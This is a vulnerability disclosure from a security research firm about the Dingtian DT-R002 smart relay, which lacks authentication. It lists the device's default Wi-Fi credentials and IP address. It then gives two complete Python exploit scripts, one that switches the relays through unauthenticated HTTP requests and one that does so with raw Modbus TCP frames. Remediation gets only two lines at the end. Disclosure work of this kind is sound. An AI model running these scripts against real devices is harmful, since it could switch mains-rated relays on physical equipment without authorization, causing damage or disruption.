Authentication Bypass by Capture Replay
Introduction
Our Security Research Team at [exploitsecurity.io] discovered a vulnerability in the Dingtian (Dingtian DT-R002) 2CH relay, running firmware V3.1.276A which allows for an attacker to replay the same data or similar data. This allows the attacker to control the devices attached to the relays without requiring authentication. It was found that the devices relays could be controlled (turn on and off) through unauthenticated HTTP requests
Affected Device Details
Product Description
2 Channel Relay Board/Relay Card
WiFi/RS485/Ethernet capable
Tech Specs
Overview
Support multiple channel relay, On/Off/Delay/Jog
Support multiple interface RJ45/RS485/CAN/WIFI
Local Button control
PC app config and control
WEB config and control
8KB FIFO command buffer
Support password.
WIFI smart config support
Button control
MQTT/Modbus/CoAP
Technical parameters
Interface RJ45/ RS485/CAN/WIFI
Baudrate 100M/115200bps/125kbps/150Mbps
Protocol TCP server/client,UDP server/client,RS485,CAN,WIFI
Operating temperature -10~+75°C
Storage temperature -40~+125°C
Relative humidity 5~95% RH, no condensation
Power supply 9-40V Non-polar
Current 1A@12V DC
Power consumption <5W
Relay parameters
Relay Power AC 250V/10A,DC 30V/10A
Delay 1~65535 seconds
Jog Pull in 0.5 seconds, automatically release
Power supply Non-polar
DC 9~40V Non-polar
Under the hood
Powered up (12VDC @ 1Amax)
Default Wifi (SSID): dtrelay7685 (Serial Number is the last four digits)
Where can I find the serial number ?
Default PSK (PSK): dtpassword
Default IP: 192.168.7.1
HTTP Access
Known Affected Software Configurations
V3.1.276A (Firmware)
Proof Of Concept Code
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Description: DingTian DT-R002 2CH Smart Relay |")
print ("| Usage : "+sys.argv[0]+" <host> <relay#> |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
urlRelay1On = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
urlRelay2On = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"
headers = {
"Host": ""+host+"",
"User-Agent": "9lyph/3.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"DNT": "1",
"Connection": "close",
"Referer": "http://"+host+"/relay_cgi.html",
"Cookie": "session=4463009"
}
print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
for i in range(5):
time.sleep (1)
print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
try:
if (relay == "1"):
print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay1On)
time.sleep (5)
print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
r = requests.get(urlRelay1Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
elif (relay == "2"):
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay2On)
time.sleep (5)
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay2Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
else:
print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
except KeyboardInterrupt:
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)
if __name__ == "__main__":
if len(sys.argv)>2:
host = sys.argv[1]
relay = sys.argv[2]
main ()
else:
print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)
Pwnage via ModbusTCP
It was also possible to switch relays on and off using the Modbus Protocol. The Modbus protocol running on TCP 502 is somewhat insecure and allows for the Reading and Writing of registers without the need for authentication.
Evidence shows the Writing to multiple registers using hex to switch the relay on and off.
Proof Of Concept
import socket
import sys
import os
import time
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
'''
4.3.2 0x06:Write Single Register
4 Relay All ON
Send:
0000 0000 0006 FF 06 0002 0f0f
Recv:
0000 0000 0006 FF 06 0002 0f0f
4 Relay All OFF
Send:
0000 0000 0006 FF 06 0002 0f00
Recv:
01 06 0002 0f00 2DFA
0000 0000 0006 FF 06 00020f0f
<2 byte Transaction ID> |<2 byte Protocol ID>|<2 byte length>|<1 byte Unit ID>|<1 bytes function code>|<Data for response or commands>
Transaction ID: This is used for synchronisation between Server and Client
Protocol ID: 0 for ModBusTCP
Length Field: Number of remaining bytes in the frame
Unit Identifier: Server Address (255 or FF if not used)
Function Code: Function code as in other variants
Data Bytes: Data for response of commands
- Function code 06 (Write Singlt Register) [Request]
- Address of holding register to preset/write (2bytes)
- New Value of the holding register (2bytes)
'''
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Description: DingTian DT-R002 2CH Smart Relay |")
print ("| Usage : "+sys.argv[0]+" <host> |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
s = socket.socket()
try:
s.connect((host, 502))
print (Fore.GREEN + "[+] " + Fore.WHITE + "T" + Fore.GREEN + "u" + Fore.WHITE + "r" + Fore.GREEN + "n" + Fore.WHITE + "i" + Fore.GREEN + "n" + Fore.WHITE + "g" + Fore.GREEN + "R" + Fore.WHITE + "e" + Fore.GREEN + "l" + Fore.WHITE + "a" + Fore.GREEN + "y" + Fore.WHITE + " O" + Fore.GREEN + "n" + Style.RESET_ALL)
on = ("000000000006FF0600020f0f")
off = ("000000000006FF0600020f00")
# read = ("000000000006FF0400020001")
s.sendall((bytes.fromhex(on)))
time.sleep(10)
print (Fore.RED + "[+]" + Fore.WHITE + "T" + Fore.RED + "u" + Fore.WHITE + "r" + Fore.RED + "n" + Fore.WHITE + "i" + Fore.RED + "n" + Fore.WHITE + "g" + Fore.RED + " R" + Fore.WHITE + "e" + Fore.RED +"l" +Fore.WHITE + "a" +Fore.RED + "y" + Fore.WHITE + " O" + Fore.RED + "f" +Fore.WHITE + "f")
s.sendall((bytes.fromhex(off)))
data = s.recv(1024)
print (Fore.BLUE + "[+]" + Fore.WHITE + "P" + "w" + Fore.BLUE + "n" + Fore.WHITE + "e" + Fore.BLUE + "d" + Fore.WHITE + "!" + Fore.BLUE + "!" + Style.RESET_ALL)
except socket.timeout:
print (f"[!] Cannot connect to target: {host} !!")
except Exception as e:
print(e)
if __name__ == "__main__":
if len(sys.argv)>1:
host = sys.argv[1]
main ()
else:
print (Fore.RED + f"[+] Not enough arguments, please specify target !" + Style.RESET_ALL)
Reference
Remediation Steps
Implementation of HTTPS
Implementation of authorization tokens for each request/transaction
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